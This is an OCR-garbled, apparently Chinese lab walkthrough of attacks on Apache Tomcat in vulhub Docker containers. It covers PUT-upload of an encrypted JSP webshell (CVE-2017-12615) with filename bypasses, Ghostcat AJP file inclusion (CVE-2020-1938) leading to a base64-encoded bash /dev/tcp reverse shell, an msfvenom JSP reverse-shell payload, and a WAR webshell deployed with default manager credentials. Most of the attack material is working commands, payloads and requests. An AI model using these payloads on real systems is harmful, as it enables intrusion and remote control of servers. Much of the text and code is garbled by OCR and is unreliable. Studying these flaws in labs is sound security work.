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sudo docker-compose up -d
docker ps //E&EdockerEET BRI

~/ % @ /vulhub-master/tomcat
15

~/ % @ /vulhub-master/tomcat/CVE-2017-12615

ult” with the ult dr

b. xml
&b

To rebuild this image you must use “docker-compose build”™ or “do mpose up —

~/ 8% @ /vulhub-master/tomcat/CVE-2017-12615

NTAINER ID COMMAND EATED
fad19e150 C 7-12615_tomcat “"catalina.sh About a minute age out a minute - E I7-12615_tomc

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193152-0b4bb590-0598-1.png)
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XEBEEIH N docker EEE—T web.xml E’\]Tﬁﬁ%, AINEEXE readonly WEN false , P ATE1ER)E

sudo docker exec -ti ec bash //i#Ndocker& s
cat conf/web.xml | grep readonly

-] *-f:ﬂ:ﬁ;"uulhuh master/tomcat/CVE-2017-12615
; ec bash
B:/usr/local/ Tarm:a.‘r_n cat conf/we L |'E‘I-3D readonly

Is conte: d ¢ so HTTP —
am-name>readonl \ ame><param-value>false</param-value></init-param>
:::::Tm-'-ﬂrﬂ‘ldlg-'-l"ﬂ‘l fusr/local/tomcat
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Apache Tomcat/8.5.19 - Mozilla Firefox

ER Apache Tomcat/8.5.19

% 192.168.1.8

Home Documentation Configuration Examples Wiki Mailing Lists

Apache Tomcat/8.5.19

™M -
Recommended Reading:

Security Considerations HOW-TO
/ Manager Application HOW-TO
Clustering/Session Replication HOW-TO

Developer Quick Start
Tomcat Setup Realms & AAA

JDBC DataSources

Examples
First Web Application

Managing Tomcat Documentation

For security, access to the manager webapp is

Tomcat 8.5 Documentation
restricted. Users are defined in:

Tomcat 8.5 Configuration
Tomcat Wiki

Find additional important configuration
information in:

SCATALINA HOME/conf/tomcat-users.xml

In Tomcat 8.5 access to the manager
application is split between different users.
Read more...

SCATALINA HOME/RUNNING. txt
Release Notes : :
Developers may be interested in:
Changelo
~hangelog Tomcat 8.5 Bug Database

Migration Guide
Security Notices

[ndtn~. /ool A Al imnan A~ L ~Ad A LAl AAA [ AiAd e A /I ONNDINONEANDNNN

Tomeat 8.5 JavaDocs
Tomcat 8.5 SVN Repository

A10~AANEDON

Find Help

J APACHE 2o

Server Status
Manager App

Host Manager

Serviet Specifications
Tomcat Versions

Getting Help
EAQ and Mailing Lists

The following mailing lists are available:

tomeat-announce
Important announcements, releases, security
vulnerability notifications. (Low volume).

tomeat-users

User support and discussion

taglibs-user

User support and discussion for Apache Taglibs
tomeat-dev

Development mailing list, including commit messages

NENO

PN


https://xzfile.aliyuncs.com/media/upload/picture/20210825193202-118e4530-0598-1.png

\TTLLPS./ / AL dyUulius.CULT T/ THeUld/ UPIVdU/ PILLIUTNEG, ZUZ 1TUO0ZLV 1TO0LUL— 1 1OCAH 00U~ UOIO 1LY

£ 8080 Im#HTIME, XEERMZ—T T A

LB L

Go Cancel < |v > |

Request

J Fiaw] Headers ] Hex ]

GET / HTTPR/Ll.l1

Host: 192, LleB.1.8:8080

Uzser—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd: x&4; rv:90.0)
Gecko/Z0100101 Firefox/90.0

Aocept:
gtext/html, application/xhtml+xml, application/xml; gq=0.9, imags/ vebyp
ST =08

Locept-Language:

zh-CH, zh;qgq=0.8, 2h-TW; gq=0.7, 2h-HE;q=0.5,en-U3;qg=0.3,en;qgq=0.2

| Connection: close

Tpgrade-Insecure-Fegquests: 1

Cache-Control: max-age=0

|

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193205-12c9b5a6-0598-1.png)
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PUT /test.txt HTTP/1.1

testpoc
¢ —
) .
| Go Cancel < |v > |7
4 Request
[ Raw | Params . Headers | Hex

Target: hitp://192.168.1.8:8080 @

Response

J FiawT Headers I Hex

PUT /test.txt HTTR/L.1
Hoot: L1o..lco. l.oro0og
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x€4; rv:590.0)
Geclko/201l00101 Firefox/90.0
Aocept:

gtext/html, application/xhtml+xml, application/xml;q=0.9, image/ webp
S ES*r=0.8
Aocept-Languadge :
zh-CHM, zh;q=0.8, zh-TW;=0.7, zh-HE;=0.5,en-U3;:q=0.3,en;qg=0.2
IConnection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

fCDntent—Length: 7

Eestpoc

e

HTTP/1.1 201
Content-Length: 0O

Date: Wed, 04 Aug Z0Z1 13:17:44 GMT
Connection: close

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193206-137f7002-0598-1.png)
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cd /usr/local/tomcat/webapps/RO0OT
1s

p
bg-middle.png bg-

v.png
WEB-INF
root@ectf@d19e150

bé—upper.png
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Go Cancel < | > |

Request

J Raw I Params aders I Hex IKML }

Target: http://192.168.1.8:8080 | & | 7

Response

j Raw I Headers I Hex Render

FUT /iceOljsp HTTE/L.L

Host: 19Z2.1€8.1.8:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win£d; x£4;
rv:90.0) Gecko/201l0010L Firefox/90.0

Locept:

text/html, application/xhtml+xml, application/xml; g=0.9, im
age/webp, */ *;q=0.8

Aocept-Language:

zh-CH, zh;c=0.8, sh-TW;=0.7, zh-HE: q=0.5,en-U5;qq=0.3 ,en;
=0.Z

Connection: close

Tpgrade-Insecure-Requests: L

Cache-Control: max-age=0

Content-Length: 536

<ij@pages
import="Java.util.*,Javax.crypto.”,Javax.crvypto.spec. ™"
¥>»<%'class U extends Classloader{U(ClassLoader
cl{superic) ;lpublic Class gibyte []b){rsturn
super.defineClass (b,0,b. length) ;11 %><%1if

(Eequest . .getMethod () .equals ("POST") ) {String

L

HTTE/ 1.l 404 la
Content-Type: text/html;charsst=utf-&

Content-Languages: en

Content-Length: 1072

Date: Wed, 04 Aug Z0Z1 13:24:03 GMT

Connection: close

<!doctype html><html lang="en"><head><title>HTTP

Status 404 — Hot Found</title><style

type="text/css">hl
{font-family:Tahoma Arial, sans-serif ;color:white 'backgr
ound-color:#525D76 ;font-size:22px;} h2

{font-family: Tahoma Arial ,sans-serif;color:white ;backgr
ound-color :#525D76 ;font-size:16px;} h3

{font-family: Tahoma Arial ,sans-serif;color:white ;backgr
ound-color:#525D76 ;font-size:14px;} body

{font-family: Tahoma Arial,sans-serif;color:black:backgr
ound-color:white:} b

{font-family: Tahoma Arial ,sans-serif ;color:white backygr
ound-color:#525D76;:} p
{font-family:Tahoma Arial, sans-serif background:white:c
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k="e45=328feh5d9255b"session. putValue ("u", k) ; Cipher olor:black:;font-size:12px;} a {celor:black:;} a.name

c=Cipher.getlInstance ("AES");c.initc (2, new {color:black:} .line

SecretKeyipec (k.getBytes (), "AES") ) inew {height:1px:background-color:#525D76 ;border inone; }</sty
Tithis.getClass () .getClassloader () ) .glc.doFinal (inew ler</head><body><hl>HTTP Status 404 — Hot
sun.misc.BASEcdDecoder () .decodeBuffer (request .. getPReader Found</hl><hr class="lin=" /=<p><h:=Type</h> Status

() .readline ()1 ) ) .newlnstance () .equals (pageContext) ;1 %> Report</pra<p=<b>Message</b>

fice0.jsp</pr<pr<b>Description</hb> The origin server
did not £find a current representation for the target
resource or is not willing to disclese that one
exists.</pr<hr class="1lin=" /><h3=Apache
Tomcatf8.5.19</hi></body></html>

=3
L4

(2 (=) (2] (2] (1o a search tom omatches [ 2 |[ < |[+|[>][Twease

v

rch ferm 0 matches

[1+]
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Put/a@1.jsp: : $DATA HTTP/1.1

3. /EXHEHBEIFEN, tha® AR (Linux/Windows)
Put/a001.jsp/http:/1.1

B EA %20 £07., FHAIFE %20 WNAEEIR, & windows RENIXELT jsp FEIAI %20 ENPIIAZ Bk A =4S
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Go Cancel

Request

Response

ders | Hex | xmL | W Hex |

Target: http:/[192.168.1.8:808

PUT fice.j=p%Z0 HTTESL.1L |1 HTTP/1.1 Z0O1

Host: 192.1g8.1.8:8020 ™ Eantent—Length: n]

Uzer-Agent: Mozilla/5.0 (Windows NT L0.0; Wingd: =x£4: Date: Wed, 04 Aug 2021 13:2Z2:1g GHMT
rv:90.0) Gecko /20100101 Firefox/90.0 Connection: close

Aocept:

text/html, application/xhtml+xml, application/®ml;q=0.9, im
age/webp, "/ *:q=0.8

Aocept-Language:

zh-CH, zh; qgq=0.8, zh-TW; q=0.7, zh-HE;q=0.5,en-U3;=0.3,en:;
=0.Z2

Connection: close

Tpgrade-Insecure-Eequests: 1

Cache-Control: max-age=0

Content-Length: 536

(Apage
import="java.util.*, javax.crypto. ¥, javax.crypto.spec, *"
<% lolass U extends ClassLoader{U(ClassLoadesr
cl{superic) ;ipublic Class gibvte []b){return
super.defineClass (b, 0,b.length) s s=<%1f
lirequest.getMethod () .equals ("POST™) ) {3tring
c="e45e3209feb A9 b "session. putValue ("u", k) s Cipher
c=Cipher.getInstance ("AES") ;. init (2, new
SecretBevyipecik.getBytes (), "AES") ) rnew
Tithis.getClass () .getllassLloader () ) .g(c.doFinal (new
sun.misc.BASEE4Decoder () . decodeBuffer (recquest.getEeadesr
r].readLinE(]]]].newInstance(].Equalsipageﬂontext];}%>
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Request Response

j Raw T Params I ers | Hex | XML —_FW-TI-H%-H-W ]

PUT ficel.jspf]HTTPfl.l |1 HTTE/ 1,1l 201

Host: 192.1e8.1.8:8020 r Content-Length: 0O

Uzer—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; =E4; Date: Wed, 04 Aug Z0Z1 13:Z23:10 GMT
rv:90.0) Gecko/Z0100101 Firefox/S0.0 Connection: close

Locept:

text/html, application/xhtml+xml, application/=xml;q=0.9, im
age/webp, */ *;=0.8

Aocept-Language:

ch-CH, zh:qq=0.8, zh-TW; g=0.7, zh-HE; qgq=0.5,en-U3;:q=0.3 ,2n;q
=0.Z

Connection: close

Tpgrade-Insecure-Eequests: 1

Cache-Control: max-—age=0

CDntent—Length: 536

<%[@pages
import="Java.util.*,javax.crypto. ¥, Javax.crypto.spec. &
Yrx<% lolass U extends ClassLloader{UiClassLoadsr
cl{super (<) ;lpublic Class glbyte []k){return
super.defineClassikb,0,b. length) ;P 1%><%1f
(request.getMethodi) .equals ("POST™) ) {String
k="ed4Lheilofebbd8lh"session. putValus ("u", k) ; Cipher
c=Cipher.getinstance ("AES") ;c.init i, new

SecretEeyvipec (k.getBytesi) , "AES") ) jnew
UTithis.getClass=si) .getClagsloader (1) .gic.doFinal (new
sun.misc.BASEc4Decoder () .decodeBuffer (request .. getFReader
() .readline () )1} .nevinstance () .equals ipageContext) ;15>
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= F A ERME(EE Windows NTFS 57, BRATHAZ NTFS RIE?

A, B NTFS 2540 (alternate data streams, &#K% ADS) , & NTFS BEBINA—M51E, £ NTFS X
HREN, BT UFES TEER, MERR T 3R INEPI VB ZIFEXPRFEAEE XA,
EEAFRRERES S XHEEXESR, RANTEEIRTRE, E2EAREXLFETHINNARZTN,
B — M EUERIRR XA AERE R, 2R EEXE: EES B RERSIER X,
XE2—TEMNES, BEE NTFS EZHMEBRE 2, BT FHBERE T, BEANNEDRFERE
. B4, eI &R, TEEME, ST ERA—TXEREAREITH, BB —1ERE, "DUE#H
ARERT . XTMERXAERNER, WRBOIMERMORE, X TEERA=BIRR 7. B2, X,
£ Windows @2 B iRt e <ML ARRIEM, FEARR), ITAEN, AIRMERA Sysinternals TR B HHY
streams BEF T RE 7 XIRXAAIERE, B ARK R ME THEXIEE, ENNEILIRERIX N XAFRIFE
BRI, —3 2 PINEE,

LXEBIATEE NTFS XHRFGNFHEETE RN — TR DATA , #iE1EK a.asp AGHEIE, IR aasp KBS TH

N N

ROEIETR, Ebl a.asp:lake2.asp, 1E3K a.asp:lake2.asp:$DATA, MIZIEK a.asp FRIREIE lake2.asp HITMEITEANSR,

T jsp [GEARND ::$DATA , FBEFR[E 201, H(EAID
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mr

Go || Cancel < 'l > |

Request

J Fiaw] Params ] Hea Hex ] #ML ]

Response

| Raw | Headers |

Target: http://192.168.1.8:8

PUT /ice3.djsp::$DATA HTTR/1.1

Ho=st: 192.1e8.1.8:8080

Uzer—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd: xg4:
rv:90.0) Gecko/IZ01l00101 Fireforx/90.0

Aocept:

text/html, application/xhtml+xml, application/xml;cq=0.9, im
age/wehp, */*rq=0.8

Accept-Language:

zh-CH, zh:q=0.8, sh-TW;q=0.7, eh-HE; =0. 5, en-U5; qg=0.3,2n;q
=0.2

Connection: close

Tpgrade-Insecure-EFRequests: 1

Cache-Control: max-age=0

Content-Length: 53&

<k[@dpage

import="Java.util.*, jJavax.crypto.*, javax.crypto.spec. *"
5r<%k lclass U extends Classloader{U(ClassLoadesr

¢l {superic) ;}tpublic Class gibyte []b){return
super.defineClass(b,0,b. length) ;P 5><%1if
(request..getMethod () .equals ("POST™) ) {String
k="ed45e3l89fceh5d9l b "session. putValus (" u", k) ; Cipher
c=Cipher.getInstance ("AES") ;c.init (2, new
SecretEevyipec(k.getEBvtesi() , "AES") ) rnew
UTithis.getClass () .getClassLloader () ) .gic.doFinal (new
sun.misc.BASEcd4Decoder () decodeBuffer (request .. getBReadesr

HTTF/1.1 Z0O1

Content-Length: 0O
Date: Wed, 04 Aug Z0Z1 13:24:30 GMT

Connection:

close
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(] .readline{) ) ) .newvinstance () .equals (pageContext) ;1 %>

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193220-1bd70eaa—-0598-1.png)

#* N\ docker IF—T

bapps/ROOT# 1s
RELEASE-NOTES.txt asf-1 jide.svg bg-middle.png bg-nav.png favicon.ico cel.jsp index.jsp tomcat-power.gif tomcat.gif tomcat.svg
WEB-INF : g bg-na tem.png bg-upper.png ice.jsp ice3.jsp::$DATA test.txt  tomcat.css

root@ecff@d19el58: fusr/local/

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193221-1cabb376-0598-1.png)

XEREFEEE— jsp BN ZE] webshell

[ e http://192.168.1.8:8080/ice5.jsp — O X

| URL:

http://192.168.1.8:8080/ice5.jsp| BiEE

ERER | H4HT | SR | I EE | INEE | Kishell | SUREEE | gEVYMAE | FiomE | VEDLR  S5= BEFER

| # BHE:
PATH=/ust/local'tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:usr/bm:/sbin:/bin
TOMCAT TGZ URL=https://www.apache.org/dvn/closer cgi?action=download& filename=tomcat/tomcat-8/v8_5.19/bin/apache-tomcat-8.5.19 tar gz
JAVA HOME=/docker-java-home/jre
CATALINA_HOME=/ust/local/tomcat
CA_CERTIFICATES _JAVA VERSION=20170531+nmul
LANG=C.UTF-8
TOMCAT_ MATOR=8
TOMCAT_VERSION=8.5.19
HOSTNAME=ecffld19¢150
JAVA_DEBIAN_VERSION=8ul41-b15-1~debSul
LD_LIBRARY_ PATH=/usr/local/tomecat/native-jm-lib
OPENSSL_VERSION=1.1.0£-3
TOMCAT_ASC_URL=https://www.apache org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8 5.19.tar gz.asc
TOMCAT_NATIVE_LIBDIR=/usr/local/tomeat/native-jni-lib
PWD=/usr/local tomcat
JAVA_VERSION=8ul4l
SHLVL=0
HOME=/root


https://xzfile.aliyuncs.com/media/upload/picture/20210825193220-1bd70eaa-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193221-1ca6b376-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193225-1f3bf3bc-0598-1.png

GPG_KEYS=05AB33110949707C93A279E3D3EFE6B68686TBAG 0TE48665A34DCAFAES22ESE6266191C37C037D42
47309207D818FFDEDCD3F83F1931D684307A10A5 541FBETDEF78B25E055DDEE13C370389288584E7
61B832AC2F1C5A90FOFIBO0AIC506407564C17A3 7T13DASSBES0911535FET16F5208B0OAB1D63011CT
T9F7026C690BAASIBI2CDEB66AZAD3FAF22C4FED 9BA44C2621385CBY66EBASB6FT2C284D731FABEE
A27677289986DB50844682F8ACBTTFC2ES6E29AC A9CSDF4D22ES9998DI875A5110C01CSA2F6059ET
DCFD35E0BFECAT344752DESB6FB21ER933C60243 F3AQ4C595DBSB6ASFIECA43E3BTBBE100D811BBE
FTDA48BB64BCB84ECBATEEG935CD23C10D498E23

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193225-1f3bf3bc-0598-1.png)

CVE-2020-1938 Jy Tomcat AP XHBEIEFRE. AEKSRIRLZEMRALINFAET Tomecat FREZERE, HT
Tomcat AJP thiligit E/F/EERE, WEHE @Y Tomeat AJP Connector B] BAEEREL E1E Tomeat EATA webapp BE T~
FEESE, B0 e] BAEEL webapp Bo & X4 RIE,

UESME EARRIAE U EAETIREROER T, Ba X e & R Bl A AT (R IBHATI B 2.
i 1) R 2

Tomcat B2 & 7™ Connecto, BN RIE HTTP 1 AJP : HTTP BUAIROAN 8080, 4ME http 1B3K, M AJP BR[O
8009, FTAME AP XAIIER, M AJP tE hitp E|INMLIE, ZRTFRE. £E8E, REHETF Tomecat AP TN FIEERRE
MmSH, WEEFNHZFE BT ES TS, RERSE webapp THEEXEUL I NEEEEXHS, NREELE
=, LEERD%E%E, BIRJDAREY shell

tomcat BRIARY conf/serverxml FEZE T 2 > Connector, — 1 8080 HOXAMEMAY HTTP thidig 1, BIM—TFI2Ek
IABY 8009 AJP w1, M- L ZNA R ITEINN ip.
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<l== A "Connector" using the shared thread pool——>

<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="28000"
redirectPort="8443" =
<UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" />

=/Connector=>

|, W - . PN T L R W - [ R S ———— P —, W £ |

This connector uses the NIO implementation. The default
SSLImplementation will depend on the presence of the APR/native
library and the useOpenS5L attribute of the

AprLifecycleListener.

Either JSSE or OpenSSL style configuration may be used regardless of

the SS5LImplementation selected. JSSE style configuration is used below.
—

=] —

<Connector port="8443" protocol="org.apache.coyote.httpll.Httpl1lNioProtocol"
maxThreads="158" SSLEnabled="true">
<55LHostConfig=
<Certificate certificateKeystoreFile="conf/localhost-rsa.jks"
type="RSA" />
</55LHostConfig>
</Connector>
<!—= Define a SSL/TLS HTTP/1.1 Connector on port B443 with HTTP/2
This connector uses the APR/native implementation which always uses
OpenSSL for TLS.
Either JSSE or OpenSSL style configuration may be used. OpenSSL style
configuration is used below.
—

<!— <Connector port="8443" protocol="org.apache.coyote.httpll.HttpllAprProtocol”
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& cdlll 5= &) ol L] == H[=
<UpgradeProtocol classMame="org.apache.coyote.http2.Http2Protocol" />
<55LHostConfig=>
<Certificate certificateKeyFile="bin/server.key"
certificateFile="bin/ca.crt" /=
</S5LHostConfig>
</Connector> —>

<!— Define an AJP 1.3 Connector on port B6@9%9 —
=Connector port="8889" protocol="AJP/1.3" redirectPort="8443" />

W T "I']

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193226-1f88ed20-0598-1.png)

tomcat E1EW ajp 1EKBIEHREIEA org.apache.coyote.ajp.AjpProcessor S4AME ajp JEE, prepareRequest & ajp EEAY
NAE IS E B, request WERA Attribute B4

£ AjpProcessor.java

switch (attributeCode) {

case Constants.5C_A_REQ_ATTRIBUTE :

requestHeaderMessage. getBytes(tmpMB) ;

String n = tmpMB.toString();

requestHeaderMessage.getBytes(tmpMB) ;

String v = tmpMB,toStringl();

# AJP13 misses to forward the local IP address and the

#* remote port. Allow the AJP connector to add this
k private |""'I':|I.'!-"":'I‘ attributes.

We will accept the forwarded data and remove it from the

7 T4 i o o 4
¥ public list of request attributes.

if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
request. localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
try {
request,setRemotePort(Integer.parselntiv));
} catch (MumberFormatException nfe) {

FIF I e ¥ punY .
fFolgnore invalld value

L] - L " d = . o smams e s L
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P oeLse 1Tin.equalLsiLonsTantTs.a0_A_S3L_FKUTULUL) ) 4

725 request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
76 } n &
request.setAttribute(n, v );
}

729 break;

= 02

case Constants.S5C A CONTEXT :

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193226-1fbb57¢4-0598-1.png)

ER b BT @ I b R 1 M T BT DAIR I request IWSRAY R E = Attribute BIE

javax.servlet.include.request_uri
javax.servlet.include.path_info

javax.servlet.include.servlet_path

SREEI I AT N AY request 2[5, ARZExE serviet FUBRETRAZE0
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T s MR T LRSS "N =10 UeDaK] W 4 2 N LI 4 L L T R

X — B DefaultServietjava € AjpProcessorjava
382
3ga if (getErrorState().isIoAllowed() && 'cping &&% protocol.isPaused()) {
184 Ff 583 - Service unavailable
385 response, setStatus{503);
386 setErrorState{ErrorState. CLOSE CLEAN, © null);
387 ¥
388 cping = false:
389
198 ff Process the request in the adapter
391 if (getErrorState().isIoAllowed{)) {
392 try {
3593 rp.setStagelorg. apache. coyote.Constants.STAGE_SERVICE) ;
194 @ ! getAdapter{).service{request, response);
395 1
396 setErrorState(ErrorState. CLOSE_CONNECTION_NOW, e);
397 } catch (Throwable t) {
388 ExceptionUtils. handleThrowable(t);
389 getlogl).error{sm.getString{ key: "ajpprocessor.request.process”), t);
409 ff 588 - Intermal Server Error
491 response, setStatus{(588);
482 setErrorState(ErrorState.CLOSE_CLEAN, t);
403 getAdapter() . log( request, response, time: B);
484 }
405 1]
406
497 if (isAsyncl) &5 !getErrorState().isError()) {
408 break;
480 }

418

CR P A GRS WS R SN i R Y
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i) = 2

J25) CVE-2020-1938 #9 docker IA15

~/ % @ /vulhub-master/tomcat/CVE-2020-1938

" with the default driver

~/ % @ /vulhub-master/tomcat/CVE-2020-1938

COMMAND
vulhub/tomcat:9. talina.sh run”

~/8 @ /vulhub-master/tomcat/CVE-2020-1938

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193231-22542df8-0598-1.png)

BI5EM poc #TmEIN, HEFAERIBUFINESR webapps B MOPAAE XM

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-1fi
cd CNVD-2020-10487-Tomcat-Ajp-1fi
python CNVD-2020-10487-Tomcat-Ajp-1fi.py #py2IiiE
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® ~/RH

cit clone https://github.com/YDHCUI/CNVD-2@2@-10487-Tomcat-Ajp-1fi.git
IE=[ETE '"CNVD-2 :
remote: Enumerating objects:
remote: Counting objects:
remote: Compressing objects:
remote: Total 9 ( a 2), reuse ) ck-reused @
ElEHsd: 1 ( 2.37 MiB/s, FEAL.
L delta o :

CNVD-2

~/5 @ /CNVD-2020-18487-Tomcat-Ajp-1fi
87-Tomcat-Ajp-1fi.py

omcat-Ajp-1fi.py [-h] [-p PORT] [-f FILE]
87-Tomcat-Ajp-1fi.py: error: too few arguments

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193231-22cd2a6e-0598-1.png)

XEBEE 8009 Ixn[ NAY web.xml 1A

python CNVD-2020-10487-Tomcat-Ajp-1fi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
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-;‘5mfcwn 2020-10487-Tomcat- A_]p -1fi
CNVD- g Lfi.py 8 80e /WEB-INF/web.xml

.8" encoding="UTF-8"7>

Licensed to the Apache Software Foundation (ASF) under one or more
contributor license eements. See the NOTICE file distributed with
this work for additional information 1 irding copyright ownership.
The ASF licenses this file to You under the ache License, Version
(the "License"); you may not use this file ex in compliance with
the License. You may obtain a copy of the License

http st . apache.org/licenses/LICENSE-2.@

Unless required by applicable law or agreed to in writ re
distributed under the License is

WITHOUT WARRANTIES OR CONDITIONS ANY K » either « '€ r implied.

See the License for the specific
limitations under the License.

_}
<web-app "m1n3—"hTTp
zmlns:xsi="http://
®xs5i:schemalocation=" hTTp
http:
version="4.0"
metadata-complete=

<display-name>Welcome to Tomcat</display-name>
<description>

Welcome to Tomcat

escription>
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{$ bash &% shell

bash -i >& /dev/tcp/192.168.1.8/8888 0>&1

RANE java WREFUERZR—T, {FH http://www.jackson—t.ca/runtime—exec—payloads.ntml, &L R
(http://www.jackson—t.ca/runtime—exec—
payloads.html%EF%BC%8C%E8%BD%ACY%EG%8D%A2%E7%BB%93%EB6%IE%ICIES%AG%E2%E4%B8%EB)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC840Dg41IDA+]jE=} | {base64,-d} | {bash,-1i}

AR test.txt , XERFEEM payload B AJ A

<%

java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEUOC840D
g4IDA+]jE=} | {base64,-d} | {bash,-i}").getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

ks

out.print("</pre>");
%>

bp MEIE test.txt 1EZF| docker B2
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~/% @ /vulhub-master/tomcat/CVE-2020-1938
b h

README.md RELEASE-NOTES RUNNING.txt bin conf dinclude 1ib logs na -jni-lib temp

ti 1 tomc
tomc

apps/rooT# i

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193235-24ba700c-0598-1.png)

nc FFaim O S0

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193235-252bed22 -

0598-1.png)

BNBI3RE—1 2 H 8 shell
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python CNVD-2020-10487-Tomcat-Ajp-1fi.py 192.168.1.8 -p 8009 -f test.txt

- ~/H H /CNVD-2020-10487-Tomcat-Ajp-1fi

CNVD-2@20-10487-Tomcat-Ajp-1fi.py 192.168.1.8 5009

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193243-29d07760-0598-1.png)

XENTHE, L%E] mst LHATIRIE, BREM—T shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt

LHO5T=192.168.1.18@ LPORT=4444 R

1498 byte

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193244-2a57813a-0598-1.png)

HMEDE shell.txt _EEZ docker

~/ 8 [ /vulhub-master/tomcat/CVE-2020-1938
T pXec 7b bash
local/tomcat# cd webapps/
/ 1 apps# cd ROOT/

root@7b2fe f1 tomca a /R # s


https://xzfile.aliyuncs.com/media/upload/picture/20210825193243-29d0776c-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193244-2a57813a-0598-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210825193245-2acb96ce-0598-1.png

-y e oL AsT-LOBU-W o 124 Le . 1Y DE-UppeEr. POl . S
WEB-INF bg-button.png bg-nav.png favicon.ico
root@7b2fe6f77c3a: /usr/local/tomcat/webapps/RO0OTE |

Ea o L L d =5 L « .

shell.txt tomcat-power.gif tomcat.gif tomcat.svg
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msf TR, SE& payload £ java/jsp_shell_reverse_tcp

set payload jav
erse_tcp
[ =]

t lhost 192.168.1.180

=]

—
= |\ o
o

oit(
192.168.1.1@

=
b s e

)
0]
+I

1 [&h W

et lport 4444

]
=
o

=
-+
oA

2 run

CP handler on 192.168.1.1@:4444

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193247-2c02c9fe—-0598-1.png)

BEA poc [R5EENR] 2%,

python CNVD-2020-10487-Tomcat-Ajp-1fi.py 192.168.1.8 -p 8009 -f shell.txt

- ~/ /5 M /CNVD-2020-10487 -Tomcat-Ajp-1Ffi
CNVD-2020-10487-Tomcat-Ajp-1fi.py 192.168.1.8
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Getting resource

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193248-2c6d42e8-0598-1.png)

iR R

~

7T tomcat8 B FERIMH N EE AL tomeat/tomeat, FIEEEFIBINEI HENEE
o S I

H O\ tomcat8 HY docker IME

® ~/% @ /vulhub-master/tomcat
tomcat8

~/% @ /vulhub-master/tomcat/tomcat8

g th the default driver
tomcat
¢ Pulling from vul
Alr
f1: Alr
Alr
Alr
Alr
Alr
Alr
Alr
1 Alr
Alr
Alr

~/% @ /vulhub-master/tomcat/tomcats

IMAGE C \ND C L
vulhub/tomca 4] "c lina.sh run” 5 onds 0 C tomcat_1

~/% @ /vulhub-master/tomcat/tomcats

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193249-2d0d17d2-0598-1.png)

DTN ANEE TR AL AFEFA 4t A+ 2H DY AN
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Vils))| E B AELAL, IS wolhiedly/ wlicdL /)@ |

http://192.168.1.8:8080//manager/html

- Apache Tomcat/8.043 X +

192.168.1.8

Home Documentation Configuration Examples Wiki Mailing Lists Fir

Apache Tomcat/8.0.43 J APACHE |

Recommended Reading: Server Statu
Security Considerations HOW-TO '
Manager Application HOW-TO

Manager Ap|
Authentication Required - Mozilla Firefox

http://192.168.1.8:8080 is requesting your username and password. The site says: "Tomcat

Developer Qui Manager Applicatio

Tomcat Setup Jser ne: tomcat

First Web Applicati
LI

Cancel

Managing Tol
For security, access to the manager webapp is Tomcat 8.0 Documentation FAQ and Mailing Lists

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193253-2face788-0598-1.png)

HENE T fEariE
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s ] fmanager - Mozilla Firefox

192.168.1.8:8090/ x  E§ /manager
&« c @ O /& 19216818
Tomcat Web Application Manager
Message: 0K
Manager
List Applications HTML Manager Help Manager Help Server Status
Applications
Path Version Display Name Running |Sessions Commands
Start Stop Reload Undeploy
i None specified Welcome to Tomcat true Q
Expire sessions  withidle = 30 minutes
Start Stop Reload Undeploy
[docs None specified Tomcat Documentation true ]
Expire sessions  withidle = 30 minutes
Start Stop Reload Undeploy
lexamples None specified Servlet and JSP Examples true 0
Expire sessions with idle = 30 minutes
Start Stop Reload Undeploy
(host-manager None specified Tomcat Host Manager Application true o]}
Expire sessions  withidle= 30 minutes
Start Stop Reload Undeploy
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EBRXEBA—LE war IR0, XEIRZ java MREIHEIR] DA war mi2Ei &K= shell, tomcat BAMBISH

Deploy directory or WAR file located on server

Context Path (required):

XML Configuration file URL:
WAR or Directory URL:
Deploy
WAR file to deploy /
Select WAR file to upload Browse... Mo file selected.

Deploy

(https://xzfile.aliyuncs.com/media/upload/picture/20210825193255-30f01156-0598-1.png)

B904% ice.jsp ¥ BIAY test.war

jar -cvf test.war .


